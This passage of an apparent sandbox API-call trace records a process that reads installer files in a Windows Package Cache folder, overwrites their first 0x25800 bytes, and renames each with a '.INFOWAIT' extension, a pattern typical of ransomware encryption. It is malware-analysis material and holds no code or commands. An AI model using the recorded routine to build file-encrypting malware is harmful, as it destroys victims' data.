dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.821] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x29a, lpOverlapped=0x0) returned 1 [0137.823] VirtualAlloc (lpAddress=0x0, dwSize=0x29a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.823] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.823] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x29a, lpOverlapped=0x0) returned 1 [0137.824] CloseHandle (hObject=0xad4) returned 1 [0137.824] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0137.824] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.INFOWAIT" [0137.824] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.infowait")) returned 1 [0137.825] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.826] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.827] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.827] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.827] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x710a8 [0137.827] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.827] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.827] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.880] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.894] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.894] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.894] CloseHandle (hObject=0xad4) returned 1 [0137.894] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" [0137.894] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.INFOWAIT" [0137.894] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.infowait")) returned 1 [0137.895] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.896] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.897] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.897] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.898] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13babb [0137.898] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.899] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.899] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0138.003] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.013] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.013] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0138.013] CloseHandle (hObject=0xad4) returned 1 [0138.014] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" [0138.014] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.INFOWAIT" [0138.014] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab.infowait")) returned 1 [0138.014] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.015] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.016] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.016] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0138.017] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x24000 [0138.017] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.018] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.018] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x24000, lpOverlapped=0x0) returned 1 [0138.046] VirtualAlloc (lpAddress=0x0, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.057] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.057] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x24000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x24000, lpOverlapped=0x0) returned 1 [0138.058] CloseHandle (hObject=0xad4) returned 1 [0138.058] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" [0138.058] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.INFOWAIT" [0138.058] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.infowait")) returned 1 [0138.059] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.060] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.060] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.060] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0138.061] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4f699e [0138.061] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.061] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.061] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0138.221] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.231] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.231] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0138.232] CloseHandle (hObject=0xad4) returned 1 [0138.232] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" [0138.232] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.INFOWAIT" [0138.232] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.infowait")) returned 1 [0138.233] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.234] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.235] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.235] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0138.235] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x23000 [0138.235] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.236] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.236] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x23000, lpOverlapped=0x0) returned 1 [0138.251] VirtualAlloc (lpAddress=0x0, dwSize=0x23000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.260] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.260] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x23000, lpOverlapped=0x0) returned 1 [0138.261] CloseHandle (hObject=0xad4) returned 1 [0138.261] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" [0138.261] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.INFOWAIT" [0138.261] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.infowait")) returned 1 [0138.261] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.262] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.263] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.263] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0138.264] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x165257 [0138.264] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.264] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.264] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0138.274] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.285] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.285] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0138.285] CloseHandle (hObject=0xad4) returned 1 [0138.285] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" [0138.286] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.INFOWAIT" [0138.286] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab.infowait")) returned 1 [0138.286] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.287] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.288] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.288] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0138.289] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x24000 [0138.289] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.290] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, 